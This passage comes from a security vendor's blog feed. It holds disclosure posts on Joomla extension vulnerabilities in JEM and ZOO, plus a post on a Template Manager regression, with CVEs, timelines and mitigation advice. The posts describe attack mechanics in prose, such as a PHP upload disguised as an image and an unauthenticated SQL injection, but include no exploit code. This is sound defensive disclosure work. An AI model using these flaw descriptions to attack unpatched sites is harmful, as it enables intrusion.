&lt;p&gt;The attendee list only checked that a visitor was logged in, not that they were entitled to see that event’s attendees. Any registered user could read attendee names, usernames, registration dates and statuses for events they do not manage, including events that are not published.&lt;/p&gt;
&lt;p&gt;Two further items we noted from the code but did not exploit: an authenticated back-end file write that did not restrict file types, and a stored cross-site scripting issue through unescaped category names. Both need an account with elevated permissions, so they rank below the four above.&lt;/p&gt;
&lt;h2&gt;The five CVEs&lt;/h2&gt;
&lt;p&gt;The Joomla project operates its own &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;CVE Numbering Authority&lt;/a&gt;, and it assigned five identifiers for these issues on 22 August. &lt;strong&gt;All five published on 27 August 2026&lt;/strong&gt;, and every record credits mySites.guru as the finder. Each one gives the affected range as 1.0.0 to 5.0.0, fixed in 5.0.1.&lt;/p&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;Issue&lt;/th&gt;&lt;th&gt;CVSS 4.0&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77991&quot;&gt;CVE-2026-77991&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Privileged remote code execution, through the administrator source model writing dangerous file types including PHP&lt;/td&gt;&lt;td&gt;&lt;strong&gt;9.4 Critical&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77034&quot;&gt;CVE-2026-77034&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Unauthenticated article overwrite and force-publish&lt;/td&gt;&lt;td&gt;6.9 Medium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77990&quot;&gt;CVE-2026-77990&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Attendee lists readable by any logged-in user&lt;/td&gt;&lt;td&gt;5.3 Medium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77989&quot;&gt;CVE-2026-77989&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Reflected cross-site scripting via the PDF export link&lt;/td&gt;&lt;td&gt;5.3 Medium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77035&quot;&gt;CVE-2026-77035&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Cross-user event and venue takeover through forged form fields&lt;/td&gt;&lt;td&gt;5.1 Medium&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The top score revises what we said above. We put the back-end file write in the “noted from the code, did not exploit” pile and ranked it below the four confirmed issues. The CNA scored it 9.4 Critical, the highest of the set, because writing PHP to the server is code execution however you arrive at it. It does need an account that already holds administrator access, which is why the record calls it &lt;em&gt;privileged&lt;/em&gt; rather than unauthenticated. But if you are deciding who gets an administrator login on a site running JEM, decide it on the 9.4.&lt;/p&gt;
&lt;h2&gt;What to do right now&lt;/h2&gt;
&lt;p&gt;There is no stable release to update to yet, so the immediate job is to reduce who can reach the affected features:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Find your JEM sites.&lt;/strong&gt; If you use mySites.guru, we have already flagged every connected site running an affected version of JEM, so you have the list. If not, check each site’s installed extensions for JEM and confirm the version.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Restrict front-end editing.&lt;/strong&gt; If your site lets members create or edit events and venues from the front end, limit that to trusted users, or turn it off until you can update. This closes the record-takeover route and the article-overwrite route on any site that had front-end submission enabled.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Restrict the front-end attendees view&lt;/strong&gt; to event managers rather than any logged-in user, so attendee lists are not readable by ordinary members.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Watch for JEM 5.0.1 stable and update the moment it ships.&lt;/strong&gt; The fixes are already written; they just need to be released as a stable version rather than a release candidate. We will update this post when that happens.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Do not put the release candidate straight onto a production site you care about. A release candidate is a test build, not a finished release. The safer path is the mitigations above now, then the stable 5.0.1 when it is out.&lt;/p&gt;
&lt;h2&gt;How mySites.guru handles this across many sites&lt;/h2&gt;
&lt;p&gt;If you manage more than a handful of Joomla sites, the hard part of a story like this is not the fix, it is finding every site that needs it before an attacker does. mySites.guru keeps a live inventory of every extension on every connected site and flags the ones running affected versions, so a vulnerability like this turns into a filtered list rather than an afternoon of logging into control panels. When JEM 5.0.1 stable ships, the same list tells you which sites still need the update.&lt;/p&gt;
&lt;h2&gt;A note on how this was disclosed&lt;/h2&gt;
&lt;p&gt;Why is a set of security issues public before there is a stable fix to install? Because the corrected code was pushed to a public release candidate on GitHub before a coordinated release. Once the fix is public, anyone can compare it against the current version and see what changed, which is the moment a private disclosure stops being private. The Joomla Security Strike Team, which assigned the CVE numbers, put it to the vendor: the uncoordinated release candidate turned a responsible disclosure of security issues into a public matter.&lt;/p&gt;
&lt;p&gt;We recently republished &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;the Joomla project’s own guidance for extension developers handling a security report&lt;/a&gt;, twenty documented practices, and a couple of them are worth noting here. One is to keep the fix private until a coordinated stable release, rather than shipping it in a public release candidate. Another, point 17, is not to hide security fixes in vague language: the commits with these fixes are described with lines like “Improve frontend attendee access handling”, which give no sign that they are security fixes at all. None of this is a swipe at the JEM developers, who are volunteers and who engaged once the report reached them. It is why coordinated disclosure exists, and it is the same standard we hold every extension to.&lt;/p&gt;
&lt;h2&gt;Where this stands, four days on&lt;/h2&gt;
&lt;p&gt;Updated 26 August 2026. Four days after the CVE IDs were assigned there is still no stable JEM release, and the gap between what is public and what is installable has got wider rather than narrower.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;Nine flaws, mapped in public&lt;/p&gt;
    &lt;p&gt;RC2 shipped on 24 August with nine security fixes listed in public, each one graded CRITICAL or HIGH, each naming the affected versions and linking the exact commit that fixes it. That is a complete guide to every flaw, published while there is still no stable release anyone can install.&lt;/p&gt;
  &lt;/div&gt;
  &lt;div&gt;
    &lt;p&gt;Four days to open an email&lt;/p&gt;
    &lt;p&gt;The Joomla Security Strike Team assigned the five CVE IDs on 22 August and asked the vendor to push a stable release as soon as possible. The reply came on 26 August: “I apologise for the late response, I initially missed this email.”&lt;/p&gt;
  &lt;/div&gt;
  &lt;div&gt;
    &lt;p&gt;RC2 was already two days old&lt;/p&gt;
    &lt;p&gt;That same message told us RC2 was expected to be ready “today”, and would go public after testing. It had been published on the project&apos;s own website on 24 August, security changelog and all, two days earlier.&lt;/p&gt;
  &lt;/div&gt;
  &lt;div&gt;
    &lt;p&gt;Five CVE IDs, nothing to link to&lt;/p&gt;
    &lt;p&gt;Assigned on 22 August and still unpublished on 26 August, so there is no public record, no CVSS score and no official affected range for any of the five. Site owners cannot look up what they are exposed to.&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;One useful thing did come out of the RC2 changelog. The vendor’s own version labels list &lt;strong&gt;4.4.2 and 4.5.0 as affected alongside 5.0.0&lt;/strong&gt;, which is the first confirmation that this reaches back beyond JEM 5 into the 4.x line. If you run JEM 4.x and had filed this away as a JEM 5 problem, it affects you too. The same changelog notes that only stable releases confirmed in the project history are labelled, so older versions are not cleared, they are simply unlabelled.&lt;/p&gt;
&lt;p&gt;We will update this post with the CVE record links, scores and the stable release version once they are available.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-08-21&lt;/strong&gt; We report the issues privately mySites.guru is asked to review JEM 5. We confirm four issues live and note two more from reading the code, and report all of them the same day to the vendor and to the Joomla Security Strike Team.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-22&lt;/strong&gt; The vendor puts the fixes in a public release candidate JEM announces the corrections in a 5.0.1 release candidate and asks us to re-test. Shipping corrected code before a coordinated stable release is the moment this stopped being private, because anyone can compare it against the current version and see what changed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-22&lt;/strong&gt; The Joomla CNA assigns five CVE IDs CVE-2026-77034, CVE-2026-77035, CVE-2026-77989, CVE-2026-77990 and CVE-2026-77991. The Strike Team tells the vendor that the uncoordinated release candidate has turned a responsible disclosure of security issues into a public matter. The records are reserved, not published.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-22&lt;/strong&gt; We publish this post and write to affected customers JEM is added to our vulnerability checks so every connected site on an affected version is flagged, and we email the affected accounts directly rather than waiting for a dashboard badge to change.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-24&lt;/strong&gt; RC2 ships with a full public security changelog Nine security entries, each graded CRITICAL or HIGH, each naming the affected stable versions and linking the commit that fixes it. The labels list 4.4.2 and 4.5.0 alongside 5.0.0, so this reaches back beyond JEM 5. There is still no stable release.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-26&lt;/strong&gt; The vendor breaks four days of silence The project&apos;s site admin apologises for missing the Strike Team&apos;s email, says the developers are working through the reports, and expects RC2 to be ready that day. RC2 had been public on the project&apos;s own website since 24 August.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-26&lt;/strong&gt; Still no stable fix, and still no published CVEs The newest JEM release remains 5.0.0-stable, from 8 July. All five CVE records still return nothing on cve.org. Every JEM site is on an affected version with no finished release to move to.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-27&lt;/strong&gt; All five CVE records publish Five days after assignment, all five records go live, and every one credits mySites.guru as the finder. The affected range is 1.0.0 to 5.0.0. The privileged remote code execution issue scores 9.4 Critical, the highest of the set. The newest JEM release is still 5.0.0-stable, so there is still nothing to install.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;Twenty Rules for Joomla Extension Developers Handling a Security Report&lt;/a&gt;, the Joomla project&apos;s own guidance, republished in full&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla security disclosures&lt;/a&gt; from mySites.guru&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jemproject/JEM-Project&quot;&gt;The JEM project on GitHub&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>jem</category><category>joomla event manager</category><category>vulnerability</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/img/og/blog/jem-joomla-event-manager-disclosure.png" length="0" type="image/png"/></item><item><title>Joomla 5.4.8 and 6.1.3 Break the Template Manager</title><link>https://mysites.guru/blog/joomla-5-4-8-template-manager-broken/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-5-4-8-template-manager-broken/</guid><description>Joomla 5.4.8 and 6.1.3 break four Template Manager actions with a Snooping out of bounds error: creating overrides and template folders. Cause and fix.</description><pubDate>Wed, 19 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you have updated a Joomla site to &lt;strong&gt;5.4.8&lt;/strong&gt; or &lt;strong&gt;6.1.3&lt;/strong&gt; and then tried to create a template override, you will have seen this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Joomla\Filesystem\Path::check() - Snooping out of bounds&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both releases shipped a regression in the Template Manager. It stops four separate things from working, and it is not caused by your site, your template, or your host.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Update anyway&lt;/p&gt;&lt;div&gt;&lt;p&gt;5.4.8 and 6.1.3 are security releases. Between them they close ten advisories, [20260801] to [20260810], including an &lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;MFA authentication bypass&lt;/a&gt; and unrestricted uploads of SHTML files. If you are still on 5.4.7 or 6.1.2, the right move is to update and then deal with this bug, not to sit on an older release to avoid it. They also fix the regression that made &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-2-5-4-7-article-options-ignored/&quot;&gt;5.4.7 and 6.1.2 ignore every article option&lt;/a&gt;, which is a second reason not to stay put. This post is about how to deal with the new one.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What is broken&lt;/h2&gt;
&lt;p&gt;All four are administrator actions, and all four were confirmed working in 5.4.7 and 6.1.2:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;creating a template override for a &lt;strong&gt;component&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;creating a template override for a &lt;strong&gt;plugin&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;creating&lt;/strong&gt; a folder inside a template&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;deleting&lt;/strong&gt; a folder inside a template&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Editing template files you already have still works. So does everything outside the Template Manager. If you never create overrides, you may never notice.&lt;/p&gt;
&lt;h2&gt;What caused it&lt;/h2&gt;
&lt;p&gt;One file, &lt;code&gt;administrator/components/com_templates/src/Model/TemplateModel.php&lt;/code&gt;, and one pull request: &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48171&quot;&gt;#48171&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It swapped 33 calls to &lt;code&gt;Path::clean()&lt;/code&gt; for &lt;code&gt;Path::check()&lt;/code&gt;. The difference matters more than it looks. &lt;code&gt;Path::clean()&lt;/code&gt; normalises a path string. &lt;code&gt;Path::check()&lt;/code&gt; normalises it &lt;em&gt;and&lt;/em&gt; rejects anything that resolves outside the Joomla root, throwing if it finds one. Several of the swapped calls are given relative fragments rather than complete paths, so &lt;code&gt;Path::check()&lt;/code&gt; sees what it reads as an escape attempt and stops the request.&lt;/p&gt;
&lt;p&gt;Worth saying, because it changes how you should feel about reversing it: the author of #48171 stated in the pull request itself that it was &lt;strong&gt;not a security fix&lt;/strong&gt;. The Template Manager is restricted to super users, who can already edit template files and therefore already execute code. The change existed to stop a stream of automated reports about missing traversal checks. It is also absent from the ten security advisories that accompanied 5.4.8.&lt;/p&gt;
&lt;p&gt;That single pull request is the only change to that file between 5.4.7 and 5.4.8, and between 6.1.2 and 6.1.3.&lt;/p&gt;
&lt;h2&gt;When is it fixed&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48274&quot;&gt;Pull request #48274&lt;/a&gt; is the fix, and it was &lt;strong&gt;merged on 20 August 2026&lt;/strong&gt;, closing issue &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/48273&quot;&gt;#48273&lt;/a&gt;. It went into &lt;code&gt;5.4-dev&lt;/code&gt; as commit &lt;code&gt;eacfb318&lt;/code&gt;, and reached &lt;code&gt;6.1-dev&lt;/code&gt; the same day through upmerge &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48278&quot;&gt;#48278&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The fix shipped in Joomla 5.4.9 and 6.1.4 on 29 September 2026, alongside 16 security fixes covered in the &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-9-and-6-1-4-security-release/&quot;&gt;5.4.9 and 6.1.4 security release write-up&lt;/a&gt;. Any site still on 5.4.8 or 6.1.3 has the broken file on disk until it updates.&lt;/p&gt;
&lt;p&gt;The answer is to update to 5.4.9 or 6.1.4. The sections below are for sites that cannot update yet: they can live with it, replace the file by hand, or have something do it for you. Staying on the older release is not an option, for reasons covered below.&lt;/p&gt;
&lt;h2&gt;Joomla has now documented it&lt;/h2&gt;
&lt;p&gt;Four days after the releases, the Joomla project published known issues pages for both, dated 22 August 2026:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/updates/53-54/known-issues/5.4.8/&quot;&gt;Joomla 5.4.8 Known Issues&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/updates/60-61/known-issues/6.1.3/&quot;&gt;Joomla 6.1.3 Known Issues&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both name issue #48273 and point at #48171 as the cause, and both give the same workaround: replace &lt;code&gt;administrator/components/com_templates/src/Model/TemplateModel.php&lt;/code&gt; with a copy pinned to a specific commit on GitHub. There is still no installable patcher package of the kind the July article options regression got, which shipped as a ZIP that patched the file and then removed itself. This one is a manual file swap. The file is published and pinned to a commit, though, so you are copying a known file into place rather than reconstructing one from a diff.&lt;/p&gt;
&lt;p&gt;That file is, byte for byte, the one our tool already writes. Joomla’s recommended replacement is MD5 &lt;code&gt;8ac7c42c6a821c838699564116b1815e&lt;/code&gt; on 5.4.8 and &lt;code&gt;5169f093c66b466c411f594e9a72e869&lt;/code&gt; on 6.1.3, and those are the two checksums our patched state reports. Either route leaves the same bytes on your site, so you can check ours against theirs instead of taking our word for it.&lt;/p&gt;
&lt;h2&gt;Fixing it by hand&lt;/h2&gt;
&lt;p&gt;Take a copy of the file on your site first. Then download the replacement file that Joomla links from the known issues page for your version, check its MD5 against the value above, and put it in place of &lt;code&gt;administrator/components/com_templates/src/Model/TemplateModel.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Two things to know before you do:&lt;/p&gt;
&lt;h3&gt;The next Joomla update overwrites it&lt;/h3&gt;
&lt;p&gt;That is not a problem. That update is the permanent fix, and your hand-edit becomes redundant the moment it arrives.&lt;/p&gt;
&lt;h3&gt;Your site now has a modified core file&lt;/h3&gt;
&lt;p&gt;Anything watching for core file changes will say so, and it should. That is the honest answer to the question it was asked.&lt;/p&gt;
&lt;h2&gt;Doing it from mySites.guru&lt;/h2&gt;
&lt;p&gt;We have added a tool that does both directions. It reads that one file on each connected site, tells you exactly which state it is in, and gives you a button.&lt;/p&gt;
&lt;p&gt;Here is an affected site. The checksum shown is byte-for-byte what Joomla shipped in 6.1.3, which is how we know this is the unmodified broken version rather than something someone has edited:&lt;/p&gt;
&lt;img src=&quot;https://mysites.guru/img/blog/joomla-template-manager-1-broken.png&quot; alt=&quot;The mySites.guru tool showing a site in the broken state. A red Broken badge, the path administrator/components/com_templates/src/Model/TemplateModel.php, Joomla 6.1.3, and MD5 a101bd8501d7e175229a442c183c2b5b. A red panel headed This site is running the broken code explains that creating a component override, creating a plugin override, creating a folder and deleting a folder all fail right now, and offers an Apply The Fix button.&quot; width=&quot;751&quot; height=&quot;430&quot; loading=&quot;lazy&quot; /&gt;
&lt;p&gt;Press Apply The Fix and it patches the file and re-reads it from disk to confirm:&lt;/p&gt;
&lt;img src=&quot;https://mysites.guru/img/blog/joomla-template-manager-2-fix-applied-dialog.png&quot; alt=&quot;A confirmation dialog with a green tick, headed Fix applied, reading The Template Manager works again. Reloading to show the new state.&quot; width=&quot;530&quot; height=&quot;355&quot; loading=&quot;lazy&quot; /&gt;
&lt;p&gt;The same card now reads back as patched, with the checksum of the fixed file. The Template Manager works again, and the button has become Remove The Fix:&lt;/p&gt;
&lt;img src=&quot;https://mysites.guru/img/blog/joomla-template-manager-3-patched.png&quot; alt=&quot;The same tool after patching. A green Fix applied badge, Joomla 6.1.3, and MD5 5169f093c66b466c411f594e9a72e869. A green panel headed The fix is in place explains that the file has the fix from Joomla PR 48274, that it will keep showing as a changed core file on every audit until Joomla ships the fix, and that it can be removed again at any time. A Remove The Fix button sits below.&quot; width=&quot;786&quot; height=&quot;432&quot; loading=&quot;lazy&quot; /&gt;
&lt;p&gt;Removing it puts the file back to exactly the bytes Joomla shipped:&lt;/p&gt;
&lt;img src=&quot;https://mysites.guru/img/blog/joomla-template-manager-4-fix-removed-dialog.png&quot; alt=&quot;A confirmation dialog with a green tick, headed Fix removed, reading The file is back to what Joomla shipped. Reloading to show the new state.&quot; width=&quot;536&quot; height=&quot;352&quot; loading=&quot;lazy&quot; /&gt;
&lt;p&gt;It reports one of six states rather than a yes or no, because “we patched it”, “Joomla shipped it broken and we can fix it”, “it is broken but somebody has already edited this file so we will not touch it”, and “we cannot read the file” are four different things to be told.&lt;/p&gt;
&lt;p&gt;The safety model is the part worth explaining. Before writing anything, we check the checksum of the file already on your site and require it to be exactly what Joomla shipped. If somebody has edited it, we reject it and tell you, rather than overwriting work we cannot see. After building the replacement we check its checksum too, and after writing it we read it back off disk and check it a third time. If any of those three checks disagrees, nothing is written.&lt;/p&gt;
&lt;p&gt;The reverse direction, Remove, runs the same three checks and restores the file byte for byte to what Joomla 5.4.8 or 6.1.3 shipped. At no point does your site hold a version of that file that came from anywhere other than Joomla or that pull request.&lt;/p&gt;
&lt;p&gt;Because it is targeted at these two releases specifically, the tool disappears by itself once you update to 5.4.9 or 6.1.4, which shipped on 29 September 2026.&lt;/p&gt;
&lt;h2&gt;What to do now&lt;/h2&gt;
&lt;p&gt;If you are on &lt;strong&gt;5.4.7 or 6.1.2&lt;/strong&gt;, update to 5.4.9 or 6.1.4 now, which fixes both this bug and the ten security issues in 5.4.8 and 6.1.3. Do not sit on the older release to dodge this bug. 5.4.8 and 6.1.3 are security releases, and holding back trades ten security fixes for one admin-panel inconvenience. That is a bad trade in every direction: the bug is an annoyance for whoever builds the site, and an MFA bypass is a way in for someone who does not work for you.&lt;/p&gt;
&lt;p&gt;If you are already on &lt;strong&gt;5.4.8 or 6.1.3&lt;/strong&gt;, update to 5.4.9 or 6.1.4. If you create overrides and cannot update yet, patch it, by hand or from here, and expect your next audit to report one changed core file. That is the patch, and it is meant to be there.&lt;/p&gt;
&lt;p&gt;If you are already on 5.4.8 or 6.1.3 and you never touch the Template Manager, you need do nothing. You are on the secure release, and the only thing you lose is the ability to create overrides and template folders until you move to 5.4.9 or 6.1.4.&lt;/p&gt;
&lt;p&gt;Across a portfolio the awkward part is not the patch, it is knowing which sites are on which release before a developer hits the error and opens a ticket. That is the same problem as the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-2-5-4-7-article-options-ignored/&quot;&gt;article options regression&lt;/a&gt; a fortnight earlier, and the same answer: mySites.guru records the Joomla version on every connected site twice a day, so you can &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;update them in bulk&lt;/a&gt; and see at a glance which ones are sitting on a release with a known bad patch. It is also why &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;accidental version jumps&lt;/a&gt; are worth guarding against separately.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>regression</category><category>templates</category><category>overrides</category><category>com_templates</category><category>5.4.8</category><category>6.1.3</category><enclosure url="https://mysites.guru/img/og/blog/joomla-5-4-8-template-manager-broken.png" length="0" type="image/png"/></item><item><title>A CVSS 10.0 Unauthenticated Upload in YOOtheme ZOO, Fixed in 4.1.66</title><link>https://mysites.guru/blog/zoo-unauthenticated-file-upload-rce/</link><guid isPermaLink="true">https://mysites.guru/blog/zoo-unauthenticated-file-upload-rce/</guid><description>YOOtheme ZOO (com_zoo) up to 4.1.63 had an unauthenticated file upload RCE scored CVSS 10.0, plus a SQL injection, fixed in 4.1.64. Install 4.1.66.</description><pubDate>Wed, 19 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;ZOO is YOOtheme’s content construction kit for Joomla, installed as the &lt;code&gt;com_zoo&lt;/code&gt; component, and it has been in service long enough to be running on sites first built a decade ago. Every version up to and including 4.1.63 has three vulnerabilities that need no login, no account, and no help from anyone on the site. The worst of them is scored &lt;strong&gt;CVSS 10.0&lt;/strong&gt;, the maximum, and ends in an attacker running their own code on your server.&lt;/p&gt;
&lt;p&gt;We found all three, reported them, and YOOtheme fixed them in &lt;strong&gt;ZOO 4.1.64&lt;/strong&gt;, released on 19 August 2026. Two more security releases followed inside three days. Update to &lt;strong&gt;4.1.66&lt;/strong&gt; or later now.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: YOOtheme ZOO (&lt;code&gt;com_zoo&lt;/code&gt;) up to and including 4.1.63 has three unauthenticated flaws, all fixed in &lt;strong&gt;4.1.64&lt;/strong&gt; on 19 August 2026, all found and reported by mySites.guru and all proved on a live test install rather than inferred from source. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74803/&quot;&gt;CVE-2026-74803&lt;/a&gt; (&lt;strong&gt;CVSS 10.0&lt;/strong&gt;, CWE-434) is an arbitrary file upload to remote code execution: the Image element on a front-end submission form checks the &lt;code&gt;Content-Type&lt;/code&gt; the client sent and nothing else, so an anonymous visitor uploads a &lt;code&gt;.php&lt;/code&gt; file declared as an image and it executes from inside the web root. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74804/&quot;&gt;CVE-2026-74804&lt;/a&gt; (&lt;strong&gt;CVSS 9.3&lt;/strong&gt;, CWE-89) is an unauthenticated SQL injection in the item element endpoint that needs no submission form at all, only an installed ZOO application, and returns whatever the database holds. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-75114/&quot;&gt;CVE-2026-75114&lt;/a&gt; (CVSS 5.1, CWE-601) is an open redirect. &lt;strong&gt;Update every ZOO install to 4.1.66 or later&lt;/strong&gt;, then check &lt;code&gt;images/zoo/uploads/&lt;/code&gt; for anything that is not an image. 4.1.64 closes all three of these flaws; 4.1.65 and 4.1.66 followed inside three days with five more, the worst of them scored 8.6, described in the updates below.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Update, 25 August 2026: the Joomla 3 branch is patched too, and the 5.0.42 fixes now have CVE records.&lt;/p&gt;
  &lt;p&gt;YOOtheme has backported all four YOOtheme Pro fixes to its Joomla 3 line, in &lt;strong&gt;4.5.34&lt;/strong&gt; on 24 August, with &lt;strong&gt;4.5.35&lt;/strong&gt; a day later to repair a regression that release introduced. If you have Joomla 3 sites sitting on 4.5.33 because the 5.0.x line needs Joomla 4 or later, they are no longer stranded. The changelog extract and what it means are at the end of the YOOtheme Pro section below.&lt;/p&gt;
  &lt;p&gt;The two 5.0.42 fixes we flagged yesterday as security work filed under maintenance wording were published as CVE records this morning: &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77996/&quot;&gt;CVE-2026-77996&lt;/a&gt; for the unescaped custom field value, scored &lt;strong&gt;7.5 High&lt;/strong&gt;, and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77997/&quot;&gt;CVE-2026-77997&lt;/a&gt; for the missing authorisation check, scored 5.1 Medium.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Update, 24 August 2026: two more releases, one of them matters.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;ZOO 4.1.67&lt;/strong&gt; shipped this morning with no security fixes. We diffed it against 4.1.66 before writing this: the whole release replaces Joomla static helper calls left over from the security-fix rewrites with PHP&apos;s native file checks, and adds one MIME mapping that repairs a broken JSON import. Nothing here changes. 4.1.66 remains the release that closes all eight issues, and either version is fine to run. One oddity worth recording: the 4.1.66 changelog entry for &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77029/&quot;&gt;CVE-2026-77029&lt;/a&gt; has been reworded since Friday and no longer names submission deletion among the actions it protects. The code itself is untouched; only the changelog sentence moved.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;YOOtheme Pro 5.0.42&lt;/strong&gt;, out the same day, deserves closer reading than its changelog gives it. Both entries sit under the heading &quot;Fixed&quot;, where 5.0.41&apos;s equivalents sat under &quot;Security&quot;. One adds an authorisation check that was missing entirely from an endpoint returning any module&apos;s title together with its complete parameter set, and because the route is a GET request it never passed YOOtheme&apos;s token check either. The other escapes a custom field value that was being written into an HTML attribute unsanitised, which is stored cross-site scripting material. Both were given CVE records the following morning, on 25 August. If you installed 5.0.41 three days ago, install 5.0.42 as well.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Update, 21 August 2026: three releases in three days. Install 4.1.66.&lt;/p&gt;
  &lt;p&gt;This post was written for 4.1.64, and our customer alert went out naming that version. There have been two releases since, closing five more issues on the same component. We reported those as well.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;4.1.65&lt;/strong&gt; arrived within the hour of 4.1.64 to finish a tag management fix that 4.1.64 had announced and not shipped. On 19 August we described that as a back end problem needing a login. It has since been published as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76610/&quot;&gt;CVE-2026-76610&lt;/a&gt;, scored 6.9, and the record describes it as reachable with no login at all. That is worse than we called it, and we would rather correct it here than leave the old wording standing.&lt;/p&gt;
